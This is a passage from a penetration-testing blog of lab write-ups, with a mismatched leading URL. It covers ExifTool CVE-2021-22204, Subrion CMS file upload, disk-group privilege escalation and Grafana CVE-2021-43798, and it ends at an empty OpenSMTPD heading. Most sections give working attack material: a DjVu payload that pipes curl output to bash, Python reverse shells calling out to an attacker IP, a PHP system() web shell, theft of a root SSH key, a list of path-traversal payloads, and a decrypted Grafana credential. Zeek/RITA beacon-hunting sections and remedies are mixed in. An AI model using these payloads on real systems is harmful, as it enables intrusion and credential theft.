https://flast101.github.io/php-8.1.0-dev-backdoor-rce/

 

ExifTool 12.23 – Arbitrary Code Execution – (Privilege escalation) – CVE-2021-22204

ExifTool could allow a local attacker to execute arbitrary code on the system, caused by improper neutralization of user data in the DjVu file format. By using a specially-crafted image file, an attacker could exploit this vulnerability to execute arbitrary code on the system.

Exiftool is a tool and library made in Perl that extracts metadata from almost any type of file. The vulnerability happens when Exiftool tries to parse the DjVu[4] filetype, more specifically the annotations field in the file structure.

To trigger the vulnerable function, we need to create a valid DjVu file that contains an annotation chunk with the payload that will be executed by the eval function as Perl code.

Affected version

7.44 to 12.23

Enumeration

1. Check the tool version

  • exiftool -ver

2. Supported extensions

  • exiftool -listf

3. Using PSPY script, I noticed a script running quite often /opt/image-exif.sh, before that script I see cron being executed, so, I assume this is a scheduled task

  • ./pspy64

4. Reading the contents of /etc/crontab I confirm this is a scheduled task

  • less /etc/crontab

5. I tried to read the file, and I had permissions

  • ls -l /opt/image-exif.sh
  • cat /opt/image-exif.sh

6. Taking a look at the script, it does the following

  • inspect jpg files located in /var/www/html/subrion/uploads
  • it uses exiftool to read the file and store the EXIF data of each file in /opt/metadata

7. As we verified that exiftool is vulnerable, and it is running to a folder we can write files, we can upload a crafted JPG file so exiftool executes against it

Basic POC

1. Install the required binaries

  • sudo apt-get install -y djvulibre-bin

2. Create a file named payload, add the following code

  • vi payload
  • (metadata "\c${system('id')};")
  • cat payload

3. (OPTIONAL) Compress our payload file with to make it non human-readable

  • bzz payload payload.bzz

4. Convert our payload into .djvu file

# INFO = Anything in the format 'N,N' where N is a number

# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image

# ANTz = Will write the compressed annotation chunk with the input file

  • djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

5. Transfer this file to the victim machine and run exitftool against it, the output should show the contents of “id” command also

  • cd /tmp
  • wget http://192.168.49.158:8081/exploit.djvu
  • exiftool exploit.djvu

Note: Now we have our basic exploit for Exiftool. But a DjVu file isn’t of much use for us, because it is not accepted in most of the file uploads that we find in the wild. Our next goal is to put the malicious payload and execute it from a JPEG file.

Exploitation (Manual)

1. Knowing exiftool’s installed version and confirming it is vulnerable to CVE-2021-22204 (7.44 to 12.23), we proceed to exploit it

  • vi exploit.sh

#!/bin/bash

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.158",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2. Create the payload

  • vi payload
  • (metadata "\c${system ('curl http://192.168.49.158/exploit.sh | bash')};")

3. Now create a djvu file

  • djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=payload

4. Proceed to change the file name to look like .jpg

  • mv exploit.djvu exploit.jpg

5. Start the listener and the web server for the file transfer

  • python3 -m http.server 8081
  • nc -lvp 4444

6. Transfer to the remote machine

  • cd /var/www/html/subrion/uploads
  • wget http://192.168.49.158:8081/exploit.jpg

Note: As we noticed before, there was a script running in the remote victim machine, it was using exiftool as a scheduled task to inspect jpg files in /var/www/html/subrion/uploads, I will upload exploit.jpg and wait for the task to execute

7. Wait for exiftool to execute the code as per the scheduled task in this case

Alternative commands

This way we get to inject the response within copyright header

  • wget -qO sample.jpg placekitten.com/200
  • file sample.jpg
  • printf 'P1 1 1 1' > input.pbm
  • cjb2 input.pbm mask.djvu
  • djvumake exploit.djvu Sjbz=mask.djvu
  • echo -e '(metadata (copyright "\\\n" . `id` #"))' > input.txt
  • djvumake exploit.djvu Sjbz=mask.djvu ANTa=input.txt
  • exiftool '-GeoTiffAsciiParams<=exploit.djvu' sample.jpg
  • perl -0777 -pe 's/\x87\xb1/\xc5\x1b/g' < sample.jpg > exploit.jpg

Exploit (Metasploit)

1. Metasploit has an automated script that creates the .jpg file with a payload

  • use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
  • show options

2. Set the payload (I’ll use default) and the LHOST. It will create a file in your home folder in this case (/home/vry4n/.msf4/local/msf.jpg)

  • set LHOST 192.168.49.158
  • exploit

3. Start a listener, set the same payload as in the previous module

  • use exploit/multi/handler
  • set payload cmd/unix/python/meterpreter/reverse_tcp

4. Set the payload IP as in the previous module, and run it

  • set LHOST 192.168.49.158
  • exploit

5. Transfer the file we created into the remote machine, and wait for the task to execute it

  • wget http://192.168.49.158:8081/msf.jpg

Exploit (Script)

1. We can also use scripts out on the internet in this case (https://github.com/convisolabs/CVE-2021-22204-exiftool)

  • git clone https://github.com/convisolabs/CVE-2021-22204-exiftool.git
  • cd CVE-2021-22204-exiftool

2. Edit the exploit.py script, we only need to add our IP address for the reverse shell

  • vi exploit.py

3. Run the script, the script will create a file named image.jpg

  • python exploit.py
  • ls

4. Start a listener using the same port as in the exploit.py file, in this case 9090

  • nc -lvp 9090

5. Transfer the file into the server and wait for the schedule task to act on it

  • wget http://192.168.49.158:8081/image.jpg

Exploit 2 (Script)

1. There is this other script that allows us to run commands (https://github.com/bilkoh/POC-CVE-2021-22204)

  • git clone https://github.com/bilkoh/POC-CVE-2021-22204.git
  • cd POC-CVE-2021-22204

2. Run the script and define the command, a file named notevil.jpg will be created

  • perl build_image.pl "chmod +s /bin/bash"

3. Transfer the file into the remote server, and, wait for the schedule task to execute exiftool

  • wget http://192.168.49.158:8081/notevil.jpg
  • ls -l /bin/bash

Before:

After:

Exploit 3 (Script)

1. There is a script in exploit-db that also abuses this vulnerability (https://www.exploit-db.com/exploits/50911)

  • wget https://www.exploit-db.com/raw/50911 -O

2. Run it to see its options

  • python 50911

3. We can create a file that runs a command, the script creates a image file

  • python 50911 -c "mkdir /tmp/Vry4n_test"
  • file image.jpg

4. Transfer the file into the server and have it run

  • cd /tmp
  • wget http://192.168.49.158:8081/image.jpg
  • ls

5. Run exiftool against image.jpg, a folder should be created

  • exiftool image.jpg
  • ls

6. Now, let’s set up a reverse shell, start a listener in the local computer

  • nc -lvp 7777

7. Run the script as follows

  • python 50911 -s 192.168.49.158 7777

8. Now, transfer the file into the remote machine and have exiftool run

  • exiftool image.jpg

9. We can also use our own image

  • python 50911 -s <local-IP> <local-port> [-i <image.jpg>]

Remedy

ExifTool has already been patched in version 12.24. exiftool-vendored, which vendors ExifTool, includes this patch in v14.3.0.

Sources

https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/

https://packetstormsecurity.com/files/167038/ExifTool-12.23-Arbitrary-Code-Execution.html

https://github.com/convisolabs/CVE-2021-22204-exiftool

https://www.exploit-db.com/exploits/50911

https://blogs.blackberry.com/en/2021/06/from-fix-to-exploit-arbitrary-code-execution-for-cve-2021-22204-in-exiftool

https://vulners.com/zdt/1337DAY-ID-37713

https://exchange.xforce.ibmcloud.com/vulnerabilities/200616

 

Finding beacons: ZEEK + RITA

Once, the tools have been properly installed. Start analyzing packet captures. For demonstration purposes I will use (https://www.activecountermeasures.com/malware-of-the-day-zeus/)

How to

1. Check the pcap info

  • capinfos zeus_1hr.pcap

2. Parse the pcap file using zeek

  • sudo zeek --no-checksums --readfile zeus_1hr.pcap
  • ls

Note: As a result we get a lot of log files separated by protocol

3. We can read these log files using less

  • less -Sx20 files.log

4. We can use head to grab the column name, and filter the log document using zeek-cut, lets look at conn.log

  • head conn.log | grep fields
  • cat conn.log| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p duration

Note:

id.orig_h = Source IP

id.orig_p = Source port

id.resp_h = Destination IP

id.resp_p = Destination port

duration = session duration

Find long connections

1. Knowing how to filter columns we can proceed to sort them, in order to find long connections, sort by duration

  • cat conn.log| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p duration | sort -k5rn

2. Now we can remove the “-“ connections and add the time of unique sessions using datamash (sort and datamash work with columns)

  • cat conn.log| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p duration | sort | grep -v "-" | grep -v "^$" | datamash -g 1,3 sum 5 | sort -k3rn

3. We can also search for multiple unique sessions via http protocol

  • cat http.log | zeek-cut id.orig_h id.resp_h | sort | uniq -c | sort -rn

4. We can now check the pcap file for requests going to the host that has highest

  • sudo ngrep -qI zeus_1hr.pcap "GET /" host 67.207.93.135

Note: We can search for the values in there such as the URI or domain name of the server on the internet to see if there is any association with malware in our case it shows it is part of Zeus malware

5. We can enumerate ports and services

  • cat conn.log| zeek-cut service | grep -v "-" | sort | uniq -c | sort -nr

6. We can also convert duration to time

  • cat conn.log| zeek-cut -d ts

7. We can also filter by column using awk command

  • cat conn.log| zeek-cut -d ts id.orig_h id.resp_h service | awk '{if($4 != "-" && $4 != "dns") print $1,$2,$3,$4}'

8. We can check conn.log to filter connections by source and count of sessions

  • cat conn.log| zeek-cut id.orig_h | sort | uniq -c | sort -rn

9. We can search for the top destinations

  • cat conn.log| zeek-cut id.resp_h | sort | uniq -c | sort -rn

10. Also filter by destination ports

  • cat conn.log| zeek-cut id.resp_p | sort | uniq -c | sort -rn

Note: Notice uncommon ports are visited more often than known ports such as 80, we can check for duration of the sessions and confirm the flow, in this example we noticed port 9200 has a persistent connection

  • cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration | sort -k4rn | head -5

Extra: We can convert that time to seconds

  • eval "echo $(date -ud "@$seconds" +'$((%s/3600/24)) days %H hours %M Minutes %S Seconds')"

Finding beacons ZEEK + RITA (files)

1. After parsing the pcap, we get a file named files.log, reading it using less we can gather the headers

  • sudo zeek --no-checksums --readfile zeus_1hr.pcap
  • less -Sx20 file.log

2. We can search by filename and its respective hash

  • cat files.log | zeek-cut -d ts filename sha1

3. Also, filter by file name to exclude “-“

  • cat files.log | zeek-cut filename | grep -iEv "(-)"

4. search by host, destination, protocol, application and filename

  • cat files.log | zeek-cut tx_hosts rx_hosts source mime_type filename

5. Filter the results, example, exclude “x509” and iv the column 6 is not equals to “-“

  • cat files.log | zeek-cut -d ts tx_hosts rx_hosts source mime_type filename | grep -v 'x509' | awk '$6!="-"'

Finding beacons ZEEK + RITA (DNS)

1. After parsing the pcap, we get a file named dns.log, reading it using less we can gather the headers

  • sudo zeek --no-checksums --readfile zeus_1hr.pcap
  • less -Sx20 dns.log

2. We can filter all the columns

  • cat dns.log| grep fields | awk '{ for (i = 1; i <= NF; i++) print $i }'

3. Convert the timestamps to human readable

  • cat dns.log | zeek-cut -d ts

4. We can filter by source, destination IPs & DNS query

  • cat dns.log | zeek-cut -d ts id.resp_h id.dest_h query

5. We can use grep to get rid of the domain local queries, or legit queries that we see, | is used as “or”

  • cat dns.log | zeek-cut -d ts id.resp_h id.dest_h query | grep -iEv '(desktop-)'
  • cat dns.log | zeek-cut -d ts id.resp_h id.dest_h query | grep -iEv '(desktop-|in-addr.arpa)'

Using RITA to import logs into database

1. Import the .log files

  • sudo rita import . malware_db

2. Once, the data has been imported we can search by beacons

  • sudo rita show-beacons malware_db --human-readable

3. This can be printed in html format

  • sudo rita html-report malware_db

4. Search for an interesting IP and list the files where it appears

  • grep -iRl 67.207.93.135

5. Search within a specific log

  • grep -iR 67.207.93.135 conn.log

 

Set up Rita + Zeek + MongoDB

RITA is an open source framework for network traffic analysis. The framework ingests Zeek Logs in TSV format, and currently supports the following major features:

  • Beaconing Detection: Search for signs of beaconing behavior in and out of your network
  • DNS Tunneling Detection Search for signs of DNS based covert channels
  • Blacklist Checking: Query blacklists to search for suspicious domains and hosts

https://github.com/activecm/rita

Note: RITA needs Zeek logs as input, and, MongoDB to build a database

How to set Up

Using the manual installation process (https://github.com/activecm/rita/blob/master/docs/Manual%20Installation.md)

MongoDB

MongoDB is a high-performance, open source, schema-free document-oriented data store that's easy to deploy, manage and use. It's network accessible, written in C++ and offers

the following features:

  • Collection oriented storage - easy storage of object-style data
  • Full index support, including on inner objects
  • Query profiling
  • Replication and fail-over support
  • Efficient storage of binary data including large objects (e.g. videos)
  • Auto-sharding for cloud-level scalability

1. Follow the steps below as indicated in GitHub

2. Check the vendor documentation (https://www.mongodb.com/docs/v4.2/installation/)

3. Follow the steps indicated in “Install MongoDB Community Edition” section, Import the public key used by the package management system. We should get “OK” as response

  • wget -qO - https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add –

Note: if you receive an error indicating that gnupg is not installed, you can

  • sudo apt-get install gnupg

4. Create a /etc/apt/sources.list.d/mongodb-org-4.2.list file for MongoDB.

  • echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.2 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.2.list

5. Issue the following command to reload the local package database:

  • sudo apt-get update

6. Install the MongoDB packages.

  • sudo apt-get install -y mongodb-org

7. Start MongoDB

  • sudo systemctl start mongod
  • sudo systemctl status mongod

Note: If you receive an error similar to the following when starting mongod:

  • Failed to start mongod.service: Unit mongod.service not found.

Run the following command first:

  • sudo systemctl daemon-reload

8. (OPTIONAL) You can ensure that MongoDB will start following a system reboot by issuing the following command:

  • sudo systemctl enable mongod

9. Stop/Restart MongoDB

  • sudo systemctl stop mongod
  • sudo systemctl restart mongod

RITA

1. Follow the steps below as indicated in GitHub (https://github.com/activecm/rita/blob/master/docs/Manual%20Installation.md)

2. Download the RITA binaries

3. Compile the files using “make” & “make install” commands

  • sudo make
  • sudo make install

4. Now that it successfully compiled and installed, we can run rita as test

  • rita --version
  • rita

5. RITA requires a few directories to be created for it to function correctly.

  • sudo mkdir /etc/rita && sudo chmod 755 /etc/rita
  • sudo mkdir -p /var/lib/rita/logs && sudo chmod -R 755 /var/lib/rita

6. Copy the config file from your local RITA source code.

  • sudo cp etc/rita.yaml /etc/rita/config.yaml && sudo chmod 666 /etc/rita/config.yaml

7. Using RITA again we don’t get the config.yaml error

  • sudo rita --version

8. Test the config

  • rita test-config

ZEEK

Zeek is primarily a security monitor that inspects all traffic on a link in depth for signs of suspicious activity.

1. Follow the steps below as indicated in GitHub (https://github.com/activecm/rita/blob/master/docs/Manual%20Installation.md)

2. Visit Zeek documentation

3. Make sure that you meet the pre-requisites, if you don’t or don’t know, scroll down and find “To install the required dependencies, you can use:” section, I’ll use Debian’s dependencies installation

  • sudo apt-get install cmake make gcc g++ flex bison libpcap-dev libssl-dev python3 python3-dev swig zlib1g-dev -y

4. Now install Zeek

  • sudo apt install zeek -y

5. Check zeek has been installed

  • zeek -v
  • zeek -h

6. We now need to get zeek-cut tool, which is very important to manage the pcap. Visit https://github.com/zeek

7. Now proceed to download the zeek-aux code (https://github.com/zeek/zeek-aux) to install “zeek-cut” command. zeek-cut extracts the given columns from ASCII Zeek logs on standard input, and outputs

them to standard output.

8. Now, we need to compile these binaries, for this we will need “cmake” which can be found in https://github.com/zeek/cmake, download the files within the zeek-aux folder

Note: This is a collection of CMake scripts intended to be included as a

git submodule in other repositories related to Zeek

9. Now run it

  • sudo ./configure
  • sudo make
  • sudo make install
  • sudo updated

10. In order to locate the executable use

  • locate zeek-cut
  • file /usr/local/zeek/bin/zeek-cut
  • sudo cp /usr/local/zeek/bin/zeek-cut /usr/bin

11. Verify zeek-cut can be now run as a command

  • zeek-cut -h

Cheat sheet

The tool is ready to use. Here you have some ZEEK commands that you can use (https://github.com/corelight/bro-cheatsheets)

 

Disk group privilege escalation

The disk group gives the user full access to any block devices contained within /dev/. Since /dev/sda1 will in general be the global file-system, and the disk group will have full read-write privileges to this device

Identify

1. Check the permissions on the current user

  • Id

2. Using LinEnum script can also help (https://github.com/rebootuser/LinEnum)

  • ./LinEnum.sh

3. List /dev devices owner and group owner

  • ls -l /dev

4. You can also find the partitions owned by disk group

  • find /dev -group disk

5. Also display the available partitions

  • df -h

Exploitation

1. Knowing your user is part of the disk group we can use debugfs to enumerate the entire disk with effectively root level privileges. We also have full read-write access to the disk block files, so we can extricate these or write arbitrary data to them. With the disk group, we are effectively root, just in a roundabout way. We will explore the partition where the / (root) directory is mounted on in this case /dev/sda2

  • debugfs /dev/sda2

2. Being in there we can write files, in our case this is read-only

  • cd /root
  • ls
  • mkdir test

3. In this case as we don’t have write permissions, we can try to read the ssh keys

  • cd /root/.ssh
  • ls
  • cat id_rsa

4. Copying the contents of this file in a new file in our local machine, and set proper permissions

  • vi id_rsa
  • chmod 600 id_rsa

5. Now using that key try to log into the server again

  • ssh -i id_rsa root@192.168.244.181

Remedy

Try not to assign users into the disk group

 

Subrion CMS 4.2.1 – Arbitrary File Upload (Authenticated) – 2018-19422

Subrion CMS could allow a remote authenticated attacker to upload arbitrary files, caused by the improper validation of file extensions by the /panel/uploads URI. By sending a specially-crafted HTTP request, a remote attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.

/panel/uploads in Subrion CMS 4.2.1 allows remote attackers to execute arbitrary PHP code via a .pht or .phar file, because the .htaccess file omits these.

Affect version

  • 4.2.1

Identification

1. To identify the version of the Subrion application you can navigate to /panel/

  • http://ip/panel/
  • http://exfiltrated.offsec/login/

2. You can use curl to get the page info

  • curl http://exfiltrated.offsec/panel/ | grep -i Subrion

Exploitation (Script)

1. Now that we know the Subrion CMS version we can proceed search for exploits that apply

  • searchsploit Subrion 4.2.1

2. Looking at the results, I would use the “Arbitrary File Upload”, (https://www.exploit-db.com/exploits/49876), so, I download it

  • searchsploit -m php/webapps/49876.py
  • python 49876.py

3. After successful download, we proceed to test the script, we need to provide the credentials as this is an authenticated attack. You can brute force the credentials or try to use the default ones, admin/admin, in my case the default credentials were set

  • python 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin
  • whoami

Exploitation (Manual)

1. Having already the credentials proceed to log into the Subrion CMS console

  • http://exfiltrated.offsec/panel/
  • admin/admin

2. Once, authenticated, go to http://[address]:[port]/[app_path]/panel/uploads

  • http://exfiltrated.offsec/panel/uploads/

3. We will create a php file that prints text as a Proof of Concept, the file extension should be either pht or .phar

  • vi php_poc.phar
  • cat php_poc.phar
  • <?php echo "Vry4n was here!"; ?>

4. Proceed to upload it to Subrion CMS, and check the location, in this case (uploads/php_poc.phar)

5. Navigate to that location, as you can see code has been executed

  • http://exfiltrated.offsec/uploads/php_poc.phar

6. Now we can try to upload a basic line of code to proof we can run commands

  • vi php_code.phar
  • cat php_code.phar
  • <?php system($_GET['cmd']); ?>

7. Repeat the upload step, and visit the file, then use the variable cmd followed by the command you need

  • http://exfiltrated.offsec/uploads/php_code.phar?cmd=whoami

8. We can run a python reverse shell, start a local listener in our attacking machine

  • nc -lvp 1234

9. I used https://www.revshells.com/ to create a python3 reverse shell

  • http://exfiltrated.offsec/uploads/php_code.phar?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.79",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
  • whoami

Extra

1. We can try to use a webshell, we will edit the one in our local Kali machine /usr/share/webshells/php/php-reverse-shell.php

  • cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop/php-reverse-shell.php
  • cd ~/Desktop
  • mv php-reverse-shell.php php-reverse-shell.phar
  • vi php-reverse-shell.phar

2. Start a listener

  • nc -lvp 1234

3. Upload it to the Subrion CMS, and then execute the .phar file, we should have a connection back

  • http://exfiltrated.offsec/uploads/php-reverse-shell.phar
  • whoami

Remedy

No remedy available as of November 14, 2018.

Resources

https://github.com/intelliants/subrion/issues/801

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19422

https://packetstormsecurity.com/files/162591

https://www.exploit-db.com/exploits/49876

https://www.cvedetails.com/cve/CVE-2018-19422/

 

Grafana 8.3.0 – Directory Traversal and Arbitrary File Read – CVE-2021-43798

Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.

Every Grafana instance comes with pre-installed plugins like the Prometheus plugin or MySQL plugin so the following URLs are vulnerable for every instance:

  • <grafana_host_url>/public/plugins/alertlist/
  • <grafana_host_url>/public/plugins/annolist/
  • <grafana_host_url>/public/plugins/barchart/
  • <grafana_host_url>/public/plugins/bargauge/
  • <grafana_host_url>/public/plugins/candlestick/
  • <grafana_host_url>/public/plugins/cloudwatch/
  • <grafana_host_url>/public/plugins/dashlist/
  • <grafana_host_url>/public/plugins/elasticsearch/
  • <grafana_host_url>/public/plugins/gauge/
  • <grafana_host_url>/public/plugins/geomap/
  • <grafana_host_url>/public/plugins/gettingstarted/
  • <grafana_host_url>/public/plugins/grafana-azure-monitor-datasource/
  • <grafana_host_url>/public/plugins/graph/
  • <grafana_host_url>/public/plugins/heatmap/
  • <grafana_host_url>/public/plugins/histogram/
  • <grafana_host_url>/public/plugins/influxdb/
  • <grafana_host_url>/public/plugins/jaeger/
  • <grafana_host_url>/public/plugins/logs/
  • <grafana_host_url>/public/plugins/loki/
  • <grafana_host_url>/public/plugins/mssql/
  • <grafana_host_url>/public/plugins/mysql/
  • <grafana_host_url>/public/plugins/news/
  • <grafana_host_url>/public/plugins/nodeGraph/
  • <grafana_host_url>/public/plugins/opentsdb
  • <grafana_host_url>/public/plugins/piechart/
  • <grafana_host_url>/public/plugins/pluginlist/
  • <grafana_host_url>/public/plugins/postgres/
  • <grafana_host_url>/public/plugins/prometheus/
  • <grafana_host_url>/public/plugins/stackdriver/
  • <grafana_host_url>/public/plugins/stat/
  • <grafana_host_url>/public/plugins/state-timeline/
  • <grafana_host_url>/public/plugins/status-history/
  • <grafana_host_url>/public/plugins/table/
  • <grafana_host_url>/public/plugins/table-old/
  • <grafana_host_url>/public/plugins/tempo/
  • <grafana_host_url>/public/plugins/testdata/
  • <grafana_host_url>/public/plugins/text/
  • <grafana_host_url>/public/plugins/timeseries/
  • <grafana_host_url>/public/plugins/welcome/
  • <grafana_host_url>/public/plugins/zipkin/

Affected Products

  • All installations between v8.0.0-beta1 and v8.3.0 should be upgraded as soon as possible.
  • Grafana Grafana 8.0.0
  • Grafana Grafana 8.3.0

Enumeration

1. We can reach the log in screen and find out about the Grafana version, in our case this is using port 3000 (Version v8.3.0 (914fcedb72))

  • http://192.168.227.181:3000/login

2. Using curl we can also query the /login page

  • curl http://192.168.227.181:3000/login | grep "Grafana v"

Exploit (Script)

1. Having identified the version of the application, we can confirm if this application is vulnerable, we will use an automated exploit (https://www.exploit-db.com/exploits/50581) , I will download it using searchsploit

  • searchsploit grafana
  • searchsploit -m multiple/webapps/50581.py

2. Now, we can try to use the script to read files

  • python 50581.py -H http://192.168.227.181:3000
  • /etc/passwd

3. We can try all the known readable config files to find interesting information. At this point we will try to find Grafana config files, based on their documentation (https://github.com/grafana/grafana/blob/main/conf/defaults.ini) , /etc/grafana/grafana.ini seems to be interesting, since it can hold user/password info under Security section

  • python 50581.py -H http://192.168.227.181:3000
  • /etc/grafana/grafana.ini

Exploit (Manual)

1. We can use curl to read files

  • curl --path-as-is http://192.168.227.181:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

2. We can try to read a database file and store it in our PC, this is grafana database

  • curl --path-as-is http://192.168.227.181:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
  • ls -l grafana.db

3. Now we can use sqlite3 to read this database file, there is a data_source table that holds user information

  • sqlite3 grafana.db
  • .tables
  • select * from data_source;

Note: Data sources store passwords and basic auth passwords in secureJsonData encrypted (AES-256 in CFB mode) by default.

4. Having the Password & Username, we can proceed to decrypt it

  • basicAuthPassword":"anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
  • sysadmin

Decrypt the password using a script

1. We can now decrypt the password using a script found on the internet (https://github.com/jas502n/Grafana-CVE-2021-43798)

  • git clone https://github.com/jas502n/Grafana-CVE-2021-43798.git
  • cd Grafana-CVE-2021-43798
  • ls

2. Try to run the script, if you run into errors, it might indicate you need to install dependencies

  • go run AESDecrypt.go
  • go env -w GO111MODULE=off
  • go run AESDecrypt.go

3. As we got the error (cannot find package "golang.org/x/crypto/pbkdf2" in any of), we will try to install pbkdf2

  • go get golang.org/x/crypto/pbkdf2

4. Now try to run the application

  • go run AESDecrypt.go

5. Since the script includes variables with default values we need to change those to match our credentials:

  • secret_key (found in /etc/grafana/grafana.ini) = SW2YcwTIb9zpOOhoPsMm
  • dataSourcePassword (found in /var/lib/grafana/grafana.db) = anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

6. Edit the script

  • vi AESDecrypt.go

7. Run the script again, the results should be the decrypted password

  • go run AESDecrypt.go

8. (EXTRA) The result is SuperSecureP@ssw0rd, we can try using this password and the user (found in /var/lib/grafana/grafana.db) to SSH this host

  • ssh sysadmin@192.168.171.181

(EXTRA) Interesting folder/file for LFI

  • /conf/defaults.ini
  • /etc/grafana/grafana.ini
  • /etc/passwd
  • /etc/shadow
  • /home/grafana/.bash_history
  • /home/grafana/.ssh/id_rsa
  • /root/.bash_history
  • /root/.ssh/id_rsa
  • /usr/local/etc/grafana/grafana.ini
  • /var/lib/grafana/grafana.db
  • /proc/net/fib_trie
  • /proc/net/tcp
  • /proc/self/cmdline

these are directories, FUZZING them can help discover plugins)

  • /usr/share/grafana/public/app/plugins/datasource
  • /usr/share/grafana/public/app/plugins/

(EXTRA) Different ways to exploit LFI

  • /public/plugins/alertGroups/../../../../../../../../etc/passwd
  • /public/plugins/alertlist/../../../../../../../../etc/passwd
  • /public/plugins/alertmanager/../../../../../../../../etc/passwd
  • /public/plugins/annolist/../../../../../../../../etc/passwd
  • /public/plugins/barchart/../../../../../../../../etc/passwd
  • /public/plugins/bargauge/../../../../../../../../etc/passwd
  • /public/plugins/canvas/../../../../../../../../etc/passwd
  • /public/plugins/cloudwatch/../../../../../../../../etc/passwd
  • /public/plugins/dashboard/../../../../../../../../etc/passwd
  • /public/plugins/dashlist/../../../../../../../../etc/passwd
  • /public/plugins/debug/../../../../../../../../etc/passwd
  • /public/plugins/elasticsearch/../../../../../../../../etc/passwd
  • /public/plugins/gauge/../../../../../../../../etc/passwd
  • /public/plugins/geomap/../../../../../../../../etc/passwd
  • /public/plugins/gettingstarted/../../../../../../../../etc/passwd
  • /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
  • /public/plugins/grafana/../../../../../../../../etc/passwd
  • /public/plugins/graph/../../../../../../../../etc/passwd
  • /public/plugins/graphite/../../../../../../../../etc/passwd
  • /public/plugins/heatmap/../../../../../../../../etc/passwd
  • /public/plugins/histogram/../../../../../../../../etc/passwd
  • /public/plugins/influxdb/../../../../../../../../etc/passwd
  • /public/plugins/jaeger/../../../../../../../../etc/passwd
  • /public/plugins/live/../../../../../../../../etc/passwd
  • /public/plugins/logs/../../../../../../../../etc/passwd
  • /public/plugins/loki/../../../../../../../../etc/passwd
  • /public/plugins/mixed/../../../../../../../../etc/passwd
  • /public/plugins/mssql/../../../../../../../../etc/passwd
  • /public/plugins/mysql/../../../../../../../../etc/passwd
  • /public/plugins/news/../../../../../../../../etc/passwd
  • /public/plugins/nodeGraph/../../../../../../../../etc/passwd
  • /public/plugins/opentsdb/../../../../../../../../etc/passwd
  • /public/plugins/piechart/../../../../../../../../etc/passwd
  • /public/plugins/pluginlist/../../../../../../../../etc/passwd
  • /public/plugins/postgres/../../../../../../../../etc/passwd
  • /public/plugins/prometheus/../../../../../../../../etc/passwd
  • /public/plugins/stat/../../../../../../../../etc/passwd
  • /public/plugins/state-timeline/../../../../../../../../etc/passwd
  • /public/plugins/status-history/../../../../../../../../etc/passwd
  • /public/plugins/table-old/../../../../../../../../etc/passwd
  • /public/plugins/table/../../../../../../../../etc/passwd
  • /public/plugins/tempo/../../../../../../../../etc/passwd
  • /public/plugins/testdata/../../../../../../../../etc/passwd
  • /public/plugins/text/../../../../../../../../etc/passwd
  • /public/plugins/timeseries/../../../../../../../../etc/passwd
  • /public/plugins/welcome/../../../../../../../../etc/passwd
  • /public/plugins/xychart/../../../../../../../../etc/passwd
  • /public/plugins/zipkin/../../../../../../../../etc/passwd

Remedy

Upgrade to the latest version of Grafana (8.0.7, 8.1.8, 8.2.7, 8.3.1 or later). If you cannot upgrade, running a reverse proxy in front of Grafana that normalizes the PATH of the request will mitigate the vulnerability.

Resources

https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p

https://packetstormsecurity.com/files/165221

https://exchange.xforce.ibmcloud.com/vulnerabilities/214666

https://www.exploit-db.com/exploits/50581

https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/

 

OpenSMTPD < 6.6.1 - Remote Code Execution (smtp_mailaddr) - CVE-2020-7247

OpenSMTPD could allow a remote attacker to gain elevated privileges on the system, caused by improper handling of user input. By sending a specially-crafted mail request, an attacker could exploit this vulnerability to execute arbitrary code on the system as root.

smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.

Affected Products

  • OpenSMTPD OpenSMTPD 6.4.0
  • OpenSMTPD OpenSMTPD 6.4.1
  • OpenSMTPD OpenSMTPD 6.4.2
  • OpenSMTPD OpenSMTPD 6.6.0
  • OpenSMTPD OpenSMTPD 6.6.1

Identify

1. Running a vulnerability scanner against the remote vulnerable server, in this case we are using Nessus

2. We can also Identify this vulnerability using Nmap, in this case the smtp version is 2.0.0

  • nmap -p 25 --script smtp-commands 192.168.161.71

Exploitation Script

